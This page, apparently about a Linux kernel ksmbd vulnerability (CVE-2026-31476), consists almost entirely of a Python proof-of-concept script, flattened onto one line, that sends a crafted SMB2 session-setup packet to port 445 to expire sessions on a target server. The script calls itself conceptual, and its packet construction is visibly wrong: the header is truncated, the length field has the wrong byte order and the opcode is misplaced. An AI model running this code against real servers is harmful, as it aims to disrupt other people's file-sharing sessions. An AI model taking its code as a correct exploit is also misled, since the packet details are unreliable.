CVE-2026-31476: Linux Kernel ksmbd会话过期拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-31476: ksmbd Session Expiration DoS # This script demonstrates sending a malformed binding request to invalidate a session. # Note: This is a conceptual demonstration based on the vulnerability description. import socket import struct def send_malformed_smb_packet(target_ip, target_port=445): """ Sends a specially crafted SMB2 SESSION_SETUP request to trigger the binding failure. """ try: # Establish TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # SMB2 Negotiate Protocol Request (Simplified header) smb2_header = b'\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Send Negotiate to setup session context sock.send(smb2_header) sock.recv(1024) # Receive response # Craft SMB2 SESSION_SETUP Request for Binding # Structure: NetBIOS Session Service + SMB2 Header + Session Setup Request # Intentionally use wrong password/credentials to trigger the error path session_setup_req = struct.pack('<I', 64) # NetBIOS length session_setup_req += b'\x00' * 4 # SMB2 Header credits etc. session_setup_req += struct.pack('<H', 0x01) # OpCode: SESSION_SETUP session_setup_req += b'\x00' * (64 - len(session_setup_req)) # Padding # In a real exploit, specific flags and Session ID would be set to target a specific user print(f"[*] Sending malformed binding request to {target_ip}...") sock.send(session_setup_req) print("[+] Packet sent. If vulnerable, the target session should be expired.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.10" # Replace with target IP send_malformed_smb_packet(target)